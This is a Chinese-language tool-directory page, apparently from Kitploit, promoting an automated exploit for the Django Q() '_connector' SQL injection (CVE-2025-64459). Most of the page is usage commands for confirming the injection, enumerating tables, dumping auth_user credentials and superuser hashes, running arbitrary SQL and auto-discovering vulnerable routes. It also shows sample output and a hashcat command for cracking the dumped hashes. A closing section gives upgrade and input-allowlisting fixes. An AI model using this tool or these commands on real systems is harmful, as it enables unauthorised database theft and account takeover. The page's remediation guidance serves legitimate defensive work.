Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
RedTeamBrasil-CVE-2025-64459 — NEO-SQLi — 利用 Django _connector SQL 注入漏洞 (CVE-2025-64459) | RedTeam Brasil 频道 | Kitploit
工具/GitHubGitHub/rafaelchriss/redteambrasil-cve-2025-64459
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育数据库安全
GitHubrafaelchriss/redteambrasil-cve-2025-64459

RedTeamBrasil-CVE-2025-64459

NEO-SQLi — 利用 Django _connector SQL 注入漏洞 (CVE-2025-64459) | RedTeam Brasil 频道

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
12个月前尚未审核
分享

connector-sqli

针对 Django ORM 的自动化 SQL 注入利用
Q-object _connector · CVE-2025-64459

cve django python license

🎥 RedTeam Brasil 频道 — 实战葡萄牙语攻击安全教程。

root@kitploit:~
   ██████╗ ████████╗██████╗    connector-sqli
   ██╔══██╗╚══██╔══╝██╔══██╗   Django Q() `_connector` SQLi
   ██████╔╝   ██║   ██████╔╝   CVE-2025-64459
   ██╔══██╗   ██║   ██╔══██╗   RedTeam Brasil 频道
   ██║  ██║   ██║   ██████╔╝   youtube.com/@RedTeamBrasil
   ╚═╝  ╚═╝   ╚═╝   ╚═════╝    仅授权使用

📌 关于漏洞 — CVE-2025-64459

Django 的 ORM 通过 Q() 对象构建过滤器。构造函数 Q(*args, _connector=None, _negated=False, **kwargs) 接受一个特殊的 kwargs _connector — 连接 WHERE 内条件的字符串 (AND/OR)。

在受影响版本中,该值未经过 sanitize 并原样拼接到 SQL 中。 当应用程序通过字典展开将用户输入直接传递给 Q() / .filter() / .exclude() / .get() 时——经典的反模式:

root@kitploit:~
# ❌ 易受攻击
posts = Post.objects.filter(Q(**request.GET))     # 或 .filter(**request.GET)

……攻击者可以控制 _connector 并在条件之间注入任意 SQL (适用于 SQLite、PostgreSQL、MySQL 等)。

项目详情
CVECVE-2025-64459
组件django.db.models — Q() / QuerySet (_connector 和列别名)
受影响版本Django < 4.2.26, < 5.1.14, < 5.2.8
修复升级到 4.2.26 / 5.1.14 / 5.2.8(或更高)
影响任意读取数据库(UNION/盲注)→ 转储凭据并提升攻击链

当 DEBUG = True 时,利用变得容易:Django 的报错页面会返回拼接后的 SQL、基表和列数量——这正是该工具自行构建 UNION 所需的信息。


⚡ 功能

通用(不限于特定目标)且自动化的利用工具:

  • 🧭 自动发现端点 (--auto):爬取首页 + robots/sitemap + 内置字典,通过 Django 的 FieldError 测试每个路由。
  • 🔎 检测易受攻击的端点和 DEBUG=True(通过 FieldError)。
  • 🧠 自动发现基表和列数(从错误页面的 SQL 中读取)。
  • 🎯 查找回显列(使用标记)→ 通过分隔符提取(不依赖页面渲染方式)。
  • 🗃️ 列出表 → 列出列 → 转储任意表(基于 UNION)。
  • 🐚 交互模式(菜单:表 → 列 → 转储)。
  • 🧪 代理(通过 --proxy 使用 Burp/mitmproxy)和 HTTPS 目标。

🚀 安装

root@kitploit:~
git clone https://github.com/rafaelchriss/RedTeamBrasil-CVE-2025-64459.git
cd RedTeamBrasil-CVE-2025-64459
pip install -r requirements.txt
chmod +x rtb_connector_sqli.py

🎮 使用

root@kitploit:~
# 1) 确认漏洞
python3 rtb_connector_sqli.py -u http://TARGET check

# 2) 列出表
python3 rtb_connector_sqli.py -u http://TARGET tables

# 3) 列出某个表的列
python3 rtb_connector_sqli.py -u http://TARGET columns auth_user

# 4) 转储(指定列或全部)
python3 rtb_connector_sqli.py -u http://TARGET dump auth_user --cols username,password,is_superuser
python3 rtb_connector_sqli.py -u http://TARGET dump auth_user --where "is_superuser=1"

# 5) 快捷查看 Django 用户
python3 rtb_connector_sqli.py -u http://TARGET users

# 6) 任意 SQL 表达式
python3 rtb_connector_sqli.py -u http://TARGET query "sqlite_version()"

# 7) 交互模式(菜单:表 → 列 → 转储)
python3 rtb_connector_sqli.py -u http://TARGET shell

# 8) 不知道路由?让它自己发现
python3 rtb_connector_sqli.py -u http://TARGET auto              # 仅发现并列出
python3 rtb_connector_sqli.py -u http://TARGET --auto shell      # 发现并立即利用

使用 --auto(或子命令 auto)会爬取首页 + robots.txt/sitemap.xml 并运行内置字典(英文 + 葡萄牙语 + API 路由),标记返回 Django FieldError 的路由。如果你传入了错误的 --path,它会自动进入发现模式。

选项

标志用途
--path /buscar易受攻击的端点(默认 /list)
--auto自动发现端点(爬取 + 字典)
--wordlist rotas.txt用于发现的额外路由(每行一个)
--base app_model手动指定基表(自动检测失败时)
--proxy http://127.0.0.1:8080将所有流量发送到 Burp / mitmproxy
root@kitploit:~
# 通过 Burp 发送
python3 rtb_connector_sqli.py -u http://TARGET --proxy http://127.0.0.1:8080 users

# 或通过环境变量(无需标志)
export HTTP_PROXY=http://127.0.0.1:8080 HTTPS_PROXY=http://127.0.0.1:8080
python3 rtb_connector_sqli.py -u http://TARGET shell

🖥️ 输出示例

root@kitploit:~
[*] 目标: http://TARGET/list
[+] 模型字段 (6): author, content, created_at, id, status, title
[+] 在 `_connector` 确认 SQLi (CVE-2025-64459). near "'RTB'": syntax error
[+] 基表: <app>_<model>   ·   SELECT 列数: 6
[+] 回显列 (读取): 位置 4
┌── auth_user (N)
│ admin | pbkdf2_sha256$600000$<salt>$<hash>= | is_superuser=1 | admin@target
└──

获得超级用户的哈希后:

root@kitploit:~
hashcat -m 10000 hash.txt rockyou.txt      # Django 使用 pbkdf2_sha256

🛡️ 修复建议

  1. 升级 Django 到 4.2.26 / 5.1.14 / 5.2.8+。
  2. 绝不将 request.GET 直接传递给 Q()/.filter()。使用白名单:
    root@kitploit:~
    ALLOWED = {"title__icontains", "status"}
    safe = {k: v for k, v in request.GET.items() if k in ALLOWED}
    Post.objects.filter(**safe)
    
  3. DEBUG = False 在生产环境(切勿泄露 SQL/表/设置)。
  4. 数据库用户使用最小权限。

⚖️ 法律声明

本工具仅用于教育和授权测试(实验室、CTF、有范围的漏洞赏金、签约渗透测试)。在未获明确授权的情况下使用针对系统是犯罪——你需独自承担责任。


由 RedTeam Brasil 制作 · 喜欢吗?点赞并订阅频道。

下载工具